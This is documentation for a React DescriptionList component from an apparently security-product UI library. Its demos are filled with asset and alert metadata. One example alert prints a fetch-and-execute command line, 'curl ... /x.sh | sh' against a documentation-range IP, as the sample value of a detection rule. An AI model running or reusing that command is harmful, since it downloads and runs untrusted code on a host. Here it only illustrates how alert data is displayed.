Description List

The label and value list of a detail view, such as an asset's properties or an alert's metadata.

@zenoxai/ui/patterns/description-list Markdown

web-prod-03

Asset ID: ast_5c1e9b07a2
IP address: 10.24.8.113
Operating system: Ubuntu 22.04 LTS
Owner: Platform team
Highest severity: High
Last seen: 2 minutes ago

<Card className="w-full max-w-md">
  <CardHeader>
    <CardTitle>web-prod-03</CardTitle>
  </CardHeader>
  <CardContent>
    <DescriptionList>
      <DescriptionItem label="Asset ID" mono>
        ast_5c1e9b07a2
      </DescriptionItem>
      <DescriptionItem label="IP address" mono>
        10.24.8.113
      </DescriptionItem>
      <DescriptionItem label="Operating system">
        Ubuntu 22.04 LTS
      </DescriptionItem>
      <DescriptionItem label="Owner">Platform team</DescriptionItem>
      <DescriptionItem label="Highest severity">
        <SeverityBadge level="high" variant="soft" />
      </DescriptionItem>
      <DescriptionItem label="Last seen">2 minutes ago</DescriptionItem>
    </DescriptionList>
  </CardContent>
</Card>

Usage

import {
  DescriptionItem,
  DescriptionList,
} from "@zenoxai/ui/patterns/description-list"

export function AssetDetails() {
  return (
    <DescriptionList>
      <DescriptionItem label="Operating system">
        Ubuntu 22.04 LTS
      </DescriptionItem>
      <DescriptionItem label="Asset ID" mono>
        ast_5c1e9b07a2
      </DescriptionItem>
    </DescriptionList>
  )
}

Use it for the properties of one record in a card, a sheet or a detail page. Rows share one rhythm and one divider, so every detail view reads the same. Labels take a third of the width and values the rest.

A value can be any node: text, a link, a Severity Badge with variant="soft", a Status Badge. Show a muted placeholder for a missing value rather than dropping the row, so the same record type always has the same rows.

To compare many records by the same properties, use a Table instead.

Examples

Identifiers

mono renders the value in the monospace face. Use it for identifiers, hashes, IP addresses and anything else a user compares character by character. Long values wrap instead of overflowing the card.

File name: invoice_0423.pdf.exe
SHA-256: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
MD5: 098f6bcd4621d373cade4e832627b4f6
First seen: Oct 21, 2026, 09:14

<DescriptionList className="w-full max-w-md">
  <DescriptionItem label="File name">invoice_0423.pdf.exe</DescriptionItem>
  <DescriptionItem label="SHA-256" mono>
    9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
  </DescriptionItem>
  <DescriptionItem label="MD5" mono>
    098f6bcd4621d373cade4e832627b4f6
  </DescriptionItem>
  <DescriptionItem label="First seen">Oct 21, 2026, 09:14</DescriptionItem>
</DescriptionList>

Long values

block stacks the value under a full-width label. Use it for paragraphs, command lines and JSON. Line breaks and indentation in the value are preserved, so a pretty-printed JSON string renders as is.

Rule: Suspicious child of web server
Description: A web server process started a shell. This often follows the exploitation of a file upload or command injection flaw.
Command line: /bin/sh -c curl -s http://198.51.100.7/x.sh | sh
Raw event: { "event": "process_start", "host": "web-prod-03", "user": "www-data", "parent": "nginx" }

function DescriptionListBlock() {
  const rawEvent = {
    event: "process_start",
    host: "web-prod-03",
    user: "www-data",
    parent: "nginx",
  }

  return (
    <DescriptionList className="w-full max-w-md">
      <DescriptionItem label="Rule">
        Suspicious child of web server
      </DescriptionItem>
      <DescriptionItem label="Description" block>
        A web server process started a shell. This often follows the
        exploitation of a file upload or command injection flaw.
      </DescriptionItem>
      <DescriptionItem label="Command line" block mono>
        /bin/sh -c curl -s http://198.51.100.7/x.sh | sh
      </DescriptionItem>
      <DescriptionItem label="Raw event" block mono>
        {JSON.stringify(rawEvent, null, 2)}
      </DescriptionItem>
    </DescriptionList>
  )
}

Accessibility

DescriptionList renders a real <dl>, and each DescriptionItem a <dt> and <dd> pair, so screen readers announce the label with its value.
Keep labels short and unique within one list. A label is the only context a screen reader user gets for the value.

API reference

Generated from the TypeScript source. className, style and children are accepted everywhere and omitted below.

DescriptionItem

Prop	Type	Default
`block`	`boolean` Stacks the value under a full-width label instead of beside it. Use it for blocks (long text, code, JSON) that need the full width.	`false`
`label`*	`ReactNode`	-
`mono`	`boolean` Renders the value in the monospace face, for identifiers and hashes.	`false`

DescriptionList

DescriptionList is the label and value list of a detail view: a record's properties, a snapshot's metadata. Rows share one rhythm and one divider, so every sheet and card reads the same.

No props of its own. Accepts the props of the element it renders.